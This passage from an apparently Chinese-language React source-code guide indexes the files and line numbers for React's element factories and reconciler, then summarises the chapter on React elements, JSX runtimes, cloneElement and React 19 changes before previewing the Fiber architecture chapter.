jsxDEV 开发版 | 同上 | :441 |
createElement | 同上 | :610 |
cloneElement | 同上 | :770 |
isValidElement | 同上 | :891 |
jsx / jsxs / jsxDEV 的对外装配 | packages/react/src/jsx/ReactJSX.js | 全文 28 行(:11-17) |
| 自动运行时入口 | packages/react/jsx-runtime.js | 9 行,仅重导出 |
| 开发运行时入口 | packages/react/jsx-dev-runtime.js | 重导出 jsxDEV |
| 服务端运行时 | packages/react/src/jsx/ReactJSXServer.js | RSC / Fizz 侧 |
全部 $$typeof 符号 | packages/shared/ReactSymbols.js | REACT_ELEMENT_TYPE(:16)、REACT_PORTAL_TYPE(:19)、REACT_FRAGMENT_TYPE(:20)、REACT_MEMO_TYPE(:30)、REACT_LAZY_TYPE(:31) |
Children API | packages/react/src/ReactChildren.js | mapChildren(:366)、forEachChildren(:415)、countChildren(:392)、mapIntoArray(:155)、escape(:41)、escapeUserProvidedKey(:63)、getElementKey(:74) |
| 类组件基类 | packages/react/src/ReactBaseClasses.js | Component / PureComponent |
勘误:React 19.3.1 已无独立的
ReactElement.js——createElement/jsx/cloneElement/isValidElement全部合并进packages/react/src/jsx/ReactJSXElement.js(905 行)。网上多数教程仍引用旧路径。
元素的消费(packages/react-reconciler)
| 主题 | 文件 | 位置 |
|---|---|---|
| 元素 → Fiber(协调入口) | packages/react-reconciler/src/ReactChildFiber.js | reconcileChildFibersImpl(:1854)、类型分派(:1884-1921) |
| 元素类型 → Fiber tag | packages/react-reconciler/src/ReactFiber.js | createFiberFromTypeAndProps |
| begin work 分发 | packages/react-reconciler/src/ReactFiberBeginWork.js | beginWork 按 tag 分派 |
| 类组件实例创建 | packages/react-reconciler/src/ReactFiberClassComponent.js | constructClassInstance |
| ref / props 提交 | packages/react-reconciler/src/ReactFiberCommitEffects.js | commit 阶段消费 |
2.22 本章要点小结
- 元素是纯数据、不可变、不可调用的描述对象,由
ReactElement工厂(经createElement/jsx/jsxDEV/cloneElement)生产;它描述"要渲染什么",不触碰 DOM。 $$typeof: REACT_ELEMENT_TYPE(全局 Symbol)是防伪标签:JSON 无法伪造 Symbol,从而挡住了跨信任边界的元素注入攻击;同时REACT_LEGACY_ELEMENT_TYPE用于多份 React 拷贝的版本隔离报错。- 元素四字段核心:
$$typeof、type、key(顶层、非 props)、props(含children)。ref在 React 19 已变为普通 prop(props.ref)。开发期元素被冻结并附带_owner/_store等调试字段。 - 元素 ≠ 组件 ≠ 实例 ≠ Fiber:组件是函数/类(行为),元素是快照(数据),实例仅 class 组件有(
this),Fiber 是跨渲染复用的内部工作单元。四者职责分明。 createElement全解:拆分 config(提拔 key、过滤__self/__source、用新建+拷贝避免delete退化)、多参数 children 归一化为props.children(单个 vs 数组)、legacy 解析defaultProps、挂 key 访问告警器、准备 owner/debug 信息。jsx/jsxs/jsxDEV与 automatic runtime:编译器把 JSX 转译到react/jsx-runtime;jsx/jsxs共享jsxProd,jsxDEV仅开发期,负责静态 children 校验、key spread 告警、owner stack 等。React.Children的不透明性:props.children可能是单元素/数组/嵌套/可迭代/文本;mapIntoArray统一递归遍历并重分配复合 key(cloneAndReplaceKey),这是"map 后 key 变了"的根源;only校验单一元素;非法对象 children 抛友好错误。cloneElement语义与 ref 陷阱:浅合并 + 默认保留 key/children;React 19 因 ref 即 prop 而从机制上消灭了 18 及以前"cloneElement静默吞掉 ref"的经典坑。- React 19 在元素/JSX 上的变化:
ref成为普通 prop;defaultProps函数组件不再被官方支持(协调器不再解析,推荐解构默认值,类组件仍支持);React.Children不处理乐观 key;Fragment 支持 ref;key自动分配与REACT_OPTIMISTIC_KEY;element.ref读取废弃告警。 - 元素流入 Reconciler(预告):
reconcileChildFibers一读$$typeof即分派;reconcileSingleElement用element.key/element.type/element.props.ref决定复用或新建 Fiber;reconcileChildrenArray完全依赖key复用——这正是"手写稳定 key"的底层原因。完整 Diff 算法见第 4 章。
下一章(第 3 章:Fiber 架构与双缓冲)将从
createFiberFromElement出发,深入 Fiber 节点的字段、链表结构、与元素的映射关系,以及"双缓冲(alternate)"如何支撑并发渲染——本章的元素,正是 Fiber 树的"种子"。